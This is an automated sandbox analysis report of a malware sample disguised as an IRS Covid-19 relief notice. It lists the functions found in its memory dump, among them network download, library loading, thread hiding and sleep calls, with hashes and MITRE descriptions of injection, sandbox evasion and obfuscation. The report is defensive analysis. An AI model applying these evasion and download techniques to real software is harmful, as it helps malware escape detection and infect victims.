InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564CD4

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: e66401c1b5cb1b0845342e11d0eb9f629067de3b3a2a4b9ec01d2fdf8f72aa9f
Instruction ID: be1981c1cbd46b9bb3c4d0173f90a31eca803aa31a738e9eedad3c8d8d0aab32
Opcode Fuzzy Hash: e66401c1b5cb1b0845342e11d0eb9f629067de3b3a2a4b9ec01d2fdf8f72aa9f
Instruction Fuzzy Hash: 9521923064434A9FEB348E10DD55BEF3B6ABF85341F508429ED4A8B140E7B199549F11

Uniqueness

Uniqueness Score: -1.00%

Function 00569531, Relevance: 1.6, APIs: 1, Instructions: 73libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 9ee2e8ace778942c69eaf5ccb8b549290a3e211eeb96d33a99d9697dcb79abf6
Instruction ID: 051d2e0236c364aa6a3be50340e3066e055b640907ec33bcd4fb8fd1bdf5896b
Opcode Fuzzy Hash: 9ee2e8ace778942c69eaf5ccb8b549290a3e211eeb96d33a99d9697dcb79abf6
Instruction Fuzzy Hash: 9511B234624381DDDB295E60C2243F52EAEFFA7760FA54A9AC4135B1A4D7B648C0D782

Uniqueness

Uniqueness Score: -1.00%

Function 00560863, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00560932,00000000,?,?), ref: 00560914

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 304c925e925aa6d13edc82c0d1b36db3289e73796db9656decb762b8b41949c0
Instruction ID: 4fe6612da254f3eb23efa91b23de1b9d725e62b8813ee1d0bb6b2ae68c466de5
Opcode Fuzzy Hash: 304c925e925aa6d13edc82c0d1b36db3289e73796db9656decb762b8b41949c0
Instruction Fuzzy Hash: 79112535281B018ADA44AB3488592EF2F67BBE6331F241A55E06A4B2D7DB92480683C0

Uniqueness

Uniqueness Score: -1.00%

Function 00569571, Relevance: 1.6, APIs: 1, Instructions: 66libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 28fcc34299610d008a6a2a2a1386dbac9a17ae7c681be8e346ccd93afbc8d140
Instruction ID: 224be4ce40061a79bad74c0db98a9679c69301c3278966d259ef0e7d12754e49
Opcode Fuzzy Hash: 28fcc34299610d008a6a2a2a1386dbac9a17ae7c681be8e346ccd93afbc8d140
Instruction Fuzzy Hash: 5D11CC256243819DDF195E64C6243F52F6FFF97360FA90A89C4135B1A4D7B34880D782

Uniqueness

Uniqueness Score: -1.00%

Function 00564C71, Relevance: 1.6, APIs: 1, Instructions: 65networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564CD4

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 5590c5096f664040ca35f245f01a9d77a7aada093cd06853d1ca17b8a1c41ca3
Instruction ID: 9fe72de51a1ec469bbdda616f69cdc670d1eca609105acc7c1d42a8052c94b89
Opcode Fuzzy Hash: 5590c5096f664040ca35f245f01a9d77a7aada093cd06853d1ca17b8a1c41ca3
Instruction Fuzzy Hash: 8821723064034A9FEB348E10DDA5BFF3B6ABF85341F548429ED4A4B140E7B29954DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00566AB1, Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: baaa5192cc9f0bf829a77b756ef301b389a83f58462e8085b3944cacb4971ba0
Instruction ID: 43f23bc33fd5833cc4abfe58c7647da5bad90dcb10bc9f9c3ffc6b20a9320226
Opcode Fuzzy Hash: baaa5192cc9f0bf829a77b756ef301b389a83f58462e8085b3944cacb4971ba0
Instruction Fuzzy Hash: 801194105496458EC71CAF2184656EF6F23FFE5753BA8499ED8C38B299DBD34804C3C1

Uniqueness

Uniqueness Score: -1.00%

Function 00566A55, Relevance: 1.6, APIs: 1, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 15feaf28f1dd3ee8c488ed3374ceadcdef26163ba62e185b3bafd428de6fed36
Instruction ID: ee26fa59ea229a3c08b1e02a84a9e7d485f1369747da68376c033730325493d7
Opcode Fuzzy Hash: 15feaf28f1dd3ee8c488ed3374ceadcdef26163ba62e185b3bafd428de6fed36
Instruction Fuzzy Hash: 4E11C004189A05DEDA186B2094357FF2F26FBE4752FA4885AECC74B159DAE2480897C2

Uniqueness

Uniqueness Score: -1.00%

Function 00567A79, Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 08de560c3fb363c935a87989b8661c58504362248695204f0a329fef839ab93a
Instruction ID: 4b86590699bf58800ab7b8aba7cd109a53d42aa473902008f654da73ef3ae5b9
Opcode Fuzzy Hash: 08de560c3fb363c935a87989b8661c58504362248695204f0a329fef839ab93a
Instruction Fuzzy Hash: 8001266409D60AFFCD203694993EBFF1E15FF55368F748C16BCD3A30118A508848B593

Uniqueness

Uniqueness Score: -1.00%

Function 0056963E, Relevance: 1.6, APIs: 1, Instructions: 56filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 2dc6def391c8653a33c9418e3e855e14fadc2ee26e958c530e33290ce39366ca
Instruction ID: 086046416ed5928c9064bf3e709f0aea6c9cf217dd8db6061f60048896024c93
Opcode Fuzzy Hash: 2dc6def391c8653a33c9418e3e855e14fadc2ee26e958c530e33290ce39366ca
Instruction Fuzzy Hash: 9B0171146657018DDB1D5E25C5202FE6B6BFBE6B927E84559C8570B298EBF31880C3C4

Uniqueness

Uniqueness Score: -1.00%

Function 00569608, Relevance: 1.6, APIs: 1, Instructions: 54libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 71bce7dd093eb1aca9c4b527de035bca34867e9349b10b9ec5577b1ed1866891
Instruction ID: e443eba09923e4884f1e036259e52843d66f3c121898051b5298afac8d74b9dd
Opcode Fuzzy Hash: 71bce7dd093eb1aca9c4b527de035bca34867e9349b10b9ec5577b1ed1866891
Instruction Fuzzy Hash: E20126247643418DAB1D5E69C2202FA2F6FFEE77607E84A59C4134B2A4D7F30880C381

Uniqueness

Uniqueness Score: -1.00%

Function 005695E5, Relevance: 1.6, APIs: 1, Instructions: 53libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 5f9eefee6d952862bcbabae3d1b388a9dd52640b1e4cb42b7ccc64175b02af90
Instruction ID: d2688fe7d735d0c065f54b467a48b691ec0d0a86ca422e5ae903ba8a87234190
Opcode Fuzzy Hash: 5f9eefee6d952862bcbabae3d1b388a9dd52640b1e4cb42b7ccc64175b02af90
Instruction Fuzzy Hash: B20126106243418DAB1D9E64C6202F92F6FFEE77A07A84B4988531B2A8D7B30880C385

Uniqueness

Uniqueness Score: -1.00%

Function 00566A49, Relevance: 1.5, APIs: 1, Instructions: 47libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ae84af01462b52e46c192cc03f19872a371a60522d5bc8301ac395a5728f7b03
Instruction ID: 7fef1f742e6993891ae45419431941a7527726a8e9ed47c9b2af9f12cd76d6a5
Opcode Fuzzy Hash: ae84af01462b52e46c192cc03f19872a371a60522d5bc8301ac395a5728f7b03
Instruction Fuzzy Hash: 81F02B6808860AEFDD203A54993ABFE1E55FF553A5F748D16BCD3D3021CA24884CB583

Uniqueness

Uniqueness Score: -1.00%

Function 005696A5, Relevance: 1.5, APIs: 1, Instructions: 38filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 17ab3349ebc902432d300376f5b9e91064def93bfbffdb56443373bc4fc67687
Instruction ID: e6305789f04787188f7130eb56871d2ecee756d9b15fcdbd9f69728a39de2a3c
Opcode Fuzzy Hash: 17ab3349ebc902432d300376f5b9e91064def93bfbffdb56443373bc4fc67687
Instruction Fuzzy Hash: 11F027249643414D9B1D5E24C5102FD2E2FFFD3790B99068CC8571B298DAF30841C384

Uniqueness

Uniqueness Score: -1.00%

Function 005696D4, Relevance: 1.5, APIs: 1, Instructions: 35filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 329d7496db2c0202ecd44e3c0f44b9fedb74609b44fe2e09f446bc198c455f40
Instruction ID: 56029bbbac54b1787c22c3ca057e98447a564a038466332d5f0e9b7bd4001932
Opcode Fuzzy Hash: 329d7496db2c0202ecd44e3c0f44b9fedb74609b44fe2e09f446bc198c455f40
Instruction Fuzzy Hash: 02F0E5205647018DDB0EAE25C6112FE3BABFFE6791BA44A5DC8560B648E6F31445C3C4

Uniqueness

Uniqueness Score: -1.00%

Function 005608CE, Relevance: 1.5, APIs: 1, Instructions: 31nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(00560932,00000000,?,?), ref: 00560914
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumInformationThreadWindows
String ID:
API String ID: 1954852945-0
Opcode ID: 92b1e38844dc4defa1777a4fe5d551e34aa22ae7be1745702397b78047933ddd
Instruction ID: e777417551fdb5cf0a832b0658289790fb872b55e8721a4ea437c9485f885edf
Opcode Fuzzy Hash: 92b1e38844dc4defa1777a4fe5d551e34aa22ae7be1745702397b78047933ddd
Instruction Fuzzy Hash: 8BF0E5302406009FD708AF3488647EF37A3EBEA722FA04549D46A8B2D5DBE34444C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 00566B69, Relevance: 1.5, APIs: 1, Instructions: 30libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 76fce094af2f26858cfb04f7183be4f673d9103085cc3a0387b7a0e8a68319b7
Instruction ID: 93f810e1e7265365e9bb5c34f2fe3acd46b5e0d582813653502156795c49fb60
Opcode Fuzzy Hash: 76fce094af2f26858cfb04f7183be4f673d9103085cc3a0387b7a0e8a68319b7
Instruction Fuzzy Hash: 33F055001086829FCB082F6184255FE6F22FEE53027A4889AECD75B14ACEE24808E7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00566B56, Relevance: 1.5, APIs: 1, Instructions: 29libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fb812e87fe42adab44c0b46ae43ab3dfc02e2e9de44ed2d5ad0787ca257170a4
Instruction ID: f3554b19864fcb922d8072a972dc2a978e60f4b4263afaaedfdafc59a85d092e
Opcode Fuzzy Hash: fb812e87fe42adab44c0b46ae43ab3dfc02e2e9de44ed2d5ad0787ca257170a4
Instruction Fuzzy Hash: 8EE0D85414860AEBD9103A24992ABFE2E11FF55350F644916BCD293011CE25884C5683

Uniqueness

Uniqueness Score: -1.00%

Function 005608F7, Relevance: 1.5, APIs: 1, Instructions: 27nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(00560932,00000000,?,?), ref: 00560914
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumInformationThreadWindows
String ID:
API String ID: 1954852945-0
Opcode ID: fc6bc55d26873dd29e6ffa4a2025ac39d5c3776f22cddb64ae41f6be35fa1a36
Instruction ID: 4e6ac722b8c02bf00d7951c553a69c3360b170dcb178c339f229c95ae1222cbf
Opcode Fuzzy Hash: fc6bc55d26873dd29e6ffa4a2025ac39d5c3776f22cddb64ae41f6be35fa1a36
Instruction Fuzzy Hash: F7E0E5341042449FEB12FE78C81878A7FB2BBA7360F144699D0A88B2E2CA204585CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00569711, Relevance: 1.5, APIs: 1, Instructions: 27filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: ed0467493f4ff92b9e0daead2acbe3d20379afc0bc7b2f5fa8db7391c11f03dc
Instruction ID: 53f26f9b1bfec96346c06498871e01b735021881a300dcfb3075a3d821f72772
Opcode Fuzzy Hash: ed0467493f4ff92b9e0daead2acbe3d20379afc0bc7b2f5fa8db7391c11f03dc
Instruction Fuzzy Hash: 05E04F205547009EDB0E9E75C6202EE3A2BEFE27517A54A5CC8671B688E6F3544087C8

Uniqueness

Uniqueness Score: -1.00%

Function 00566BCD, Relevance: 1.5, APIs: 1, Instructions: 23libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 695ca91f11db38ca68fc74eceb6e4049d2cd51d698eb5a782a4921b7cb76614a
Instruction ID: 9d14eb2ce96f156c33a4dbe002100dfcb75872c779c924c40ae07b95decc9e12
Opcode Fuzzy Hash: 695ca91f11db38ca68fc74eceb6e4049d2cd51d698eb5a782a4921b7cb76614a
Instruction Fuzzy Hash: A7E01A15605A458FDB196E6584240DEBF62EAE47127A488AAD8864B289DEB38800DBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0056473D, Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,005646DA,005647A4), ref: 0056476F

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 84cd68b7dd58e2650af2695358a9f3536fc611b0083b071af03cbdb81c7de853
Instruction ID: b46601368b409a1cfbd7091a823298d6b12632261ec1d93834ae149f90a0258b
Opcode Fuzzy Hash: 84cd68b7dd58e2650af2695358a9f3536fc611b0083b071af03cbdb81c7de853
Instruction Fuzzy Hash: 21E09E30790744AEE73C9A614C62FDE662797E0B42FA4846DF6462E2C899E32510C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 00564A2D, Relevance: 1.5, APIs: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000,?), ref: 005654A3

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 84a2c2db835f7bd9297aff0e5fac13d7e5e0c9a240309c6cf350e42ea0374612
Instruction ID: 8a1938058f9b9034ce4d6005a00a90c1bee77a13b6a766e272ca109dbd962636
Opcode Fuzzy Hash: 84a2c2db835f7bd9297aff0e5fac13d7e5e0c9a240309c6cf350e42ea0374612
Instruction Fuzzy Hash: 49D02E621807804DD9843264490A2652F42B7E0332B28D68A90A10B2EA5C00068BB38A

Uniqueness

Uniqueness Score: -1.00%

Function 00564732, Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,005646DA,005647A4), ref: 0056476F

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dc365c2cf2c3439e2e56cf94ea4be4c93f52853c7c4a95c53ce918e4343f2b72
Instruction ID: 66f3a60b1f0d906140b44e2b192b8374e87614dc8ee4db4f55aff32bf4542fb4
Opcode Fuzzy Hash: dc365c2cf2c3439e2e56cf94ea4be4c93f52853c7c4a95c53ce918e4343f2b72
Instruction Fuzzy Hash: 59C04C70794344B6F93896109D56F9565259791F01F714809B7453D0C446F27A50D519

Uniqueness

Uniqueness Score: -1.00%

Function 005617E3, Relevance: 1.3, APIs: 1, Instructions: 73sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00564A2D: LdrInitializeThunk.NTDLL(00000000,?), ref: 005654A3

Sleep.KERNELBASE(00002710,00000000,?), ref: 00561972

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InitializeSleepThunk
String ID:
API String ID: 145592009-0
Opcode ID: 886f659103ae57b6ef523f052d0d01c573d8fb1d34ff2f3bf66c9542f3cba7c4
Instruction ID: b559b1e3e1ec87b566bc605fe3fa8f2e32394da8964387d719485bcda924907e
Opcode Fuzzy Hash: 886f659103ae57b6ef523f052d0d01c573d8fb1d34ff2f3bf66c9542f3cba7c4
Instruction Fuzzy Hash: 1421E43460474AEBEF316E60CD25BE93E63BF41754F944209FC8657191D3328A85DB06

Uniqueness

Uniqueness Score: -1.00%

Function 00561801, Relevance: 1.3, APIs: 1, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00564A2D: LdrInitializeThunk.NTDLL(00000000,?), ref: 005654A3

Sleep.KERNELBASE(00002710,00000000,?), ref: 00561972

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InitializeSleepThunk
String ID:
API String ID: 145592009-0
Opcode ID: 8cb96843df7557128c95f1bd8deeeaba2fcdc74c0ca8627884bae068866a8126
Instruction ID: 0400422572ed1c8a5308bef9b2dd8b61d09a037537a6a369c7d3e8620ed06ae3
Opcode Fuzzy Hash: 8cb96843df7557128c95f1bd8deeeaba2fcdc74c0ca8627884bae068866a8126
Instruction Fuzzy Hash: 8B11E23060474AEFEF355E608D25BEE3E23BF91750FD80209EC861B18497B34A80DB46

Uniqueness

Uniqueness Score: -1.00%

Function 005618E2, Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00002710,00000000,?), ref: 00561972

Part of subcall function 00564A2D: LdrInitializeThunk.NTDLL(00000000,?), ref: 005654A3

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InitializeSleepThunk
String ID:
API String ID: 145592009-0
Opcode ID: 7f6a140f6e136078edffe25b778f346506bde9c5717609ed1d8961c8675051c5
Instruction ID: 7ca2ea7b238a8bb2ca803b29501987315fbde9ebcb3d90edc5f898009964b345
Opcode Fuzzy Hash: 7f6a140f6e136078edffe25b778f346506bde9c5717609ed1d8961c8675051c5
Instruction Fuzzy Hash: 1801843060474ADEDF246E7188257EF3A27BFD4B81FD84519EC460B244A7B74884DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00561892, Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00564A2D: LdrInitializeThunk.NTDLL(00000000,?), ref: 005654A3

Sleep.KERNELBASE(00002710,00000000,?), ref: 00561972

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InitializeSleepThunk
String ID:
API String ID: 145592009-0
Opcode ID: d209a648e0b75e40f3c784669ac46cec07385d0771fcb7e9d1f6659840863375
Instruction ID: b1e1f90976d5be8a25a3934f3cba4b4e49f95f7d060698ca41fcd891bb84526f
Opcode Fuzzy Hash: d209a648e0b75e40f3c784669ac46cec07385d0771fcb7e9d1f6659840863375
Instruction Fuzzy Hash: 8C018430600749DEEF246E7188257EF3A27BFD4B81FD84519EC460B244E7B34884DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0056193D, Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00002710,00000000,?), ref: 00561972

Part of subcall function 00564A2D: LdrInitializeThunk.NTDLL(00000000,?), ref: 005654A3

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InitializeSleepThunk
String ID:
API String ID: 145592009-0
Opcode ID: 06e9e47f3f1adf7285ee6f96b9f69d9a0543f731ee8c742fd94bad470909cd80
Instruction ID: adc4f2ada847d056f314a3240aea24c4eed0891d4da6baaacc3443dc1f115261
Opcode Fuzzy Hash: 06e9e47f3f1adf7285ee6f96b9f69d9a0543f731ee8c742fd94bad470909cd80
Instruction Fuzzy Hash: 4101A73060474ADADF245E7189257EE3E33BFD5741FD84519EC8A1B184A7B34980DB8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
